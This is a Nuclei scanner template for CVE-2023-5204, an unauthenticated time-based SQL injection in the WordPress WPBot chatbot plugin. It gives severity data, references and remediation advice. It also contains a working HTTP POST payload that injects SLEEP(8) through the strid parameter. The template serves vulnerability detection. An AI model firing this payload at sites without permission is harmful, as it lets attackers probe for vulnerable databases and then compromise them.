id: CVE-2023-5204

info:
  name: WordPress AI ChatBot (WPBot) <= 4.8.9 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    ChatBot plugin for WordPress up to 4.8.9 contains a sql_injection caused by insufficient escaping and lack of preparation on the $strid parameter, letting unauthenticated attackers extract sensitive data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, leading to data disclosure and potential database compromise.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability, or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5204
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/chatbot/chatbot-489-unauthenticated-sql-injection-via-qc-wpbo-search-response
    - https://plugins.trac.wordpress.org/browser/chatbot/trunk/qcld-wpwbot-search.php?rev=2957286#L177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5204
    epss-score: 0.8698
    epss-percentile: 0.99448
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,chatbot,wpbot,unauth,time-based

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpbo_search_response&name=test&keyword=test&strid=1 AND (SELECT 42 FROM (SELECT(SLEEP(8)))sqltest)

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains_all(body, "\"status\":\"success\"", "\"data\"")'
        condition: and
# digest: 4b0a004830460221008bb59f8767b99db86ff9ae1a7c9a34f4020087a7c062865d61ac0daff4684d5e022100a944f5e3439fdd20c184ef6dd57fb3cd59b4c3f4f8af74c8568bf6fc02c3972a:922c64590222798bb761d5b6d8e72950